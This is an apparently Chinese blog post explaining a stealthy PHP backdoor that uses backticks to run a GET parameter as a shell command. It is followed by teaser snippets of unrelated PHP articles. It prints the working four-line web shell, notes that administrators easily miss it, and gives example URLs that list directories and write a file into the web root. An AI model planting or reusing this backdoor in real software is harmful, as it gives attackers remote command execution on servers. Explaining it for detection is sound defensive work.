一个不易被发现的PHP后门代码解析

yipeiwu_com6年前PHP代码库

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

『PHP』PHP截断函数mb_substr()使用介绍

Function: mb_substr( $str, $start, $length, $encoding ) $str,需要截断的字符串 $start,截断开始处 $length,长度...

php中的依赖注入实例详解

本文实例讲述了php中的依赖注入。分享给大家供大家参考,具体如下: 依赖注入是一种允许我们从硬编码的依赖中解耦出来,从而在运行时或者编译时能够修改的软件设计模式。 我到现在依然不大明...

php实现多站点共用session实现单点登录的方法详解

php实现多站点共用session实现单点登录的方法详解

本文实例讲述了php实现多站点共用session实现单点登录的方法。分享给大家供大家参考,具体如下: 最近闲来无事,总结整理下单点登录的问题。 单点登录的基本原理为:客户端共享sesio...

对比分析php中Cookie与Session的异同

让大家对Cookie和Session有一个更深入的了解,并对自己的开发工作中灵活运用带来启示。 一、cookie机制 Cookies是服务器在本地机器上存储的小段文本并随每一个请求发送至...

PHP实现时间比较和时间差计算的方法示例

本文实例讲述了PHP实现时间比较和时间差计算的方法。分享给大家供大家参考,具体如下: 示例1: <?php //PHP时间比较和时间差计算: //(1).比较两个绝对时...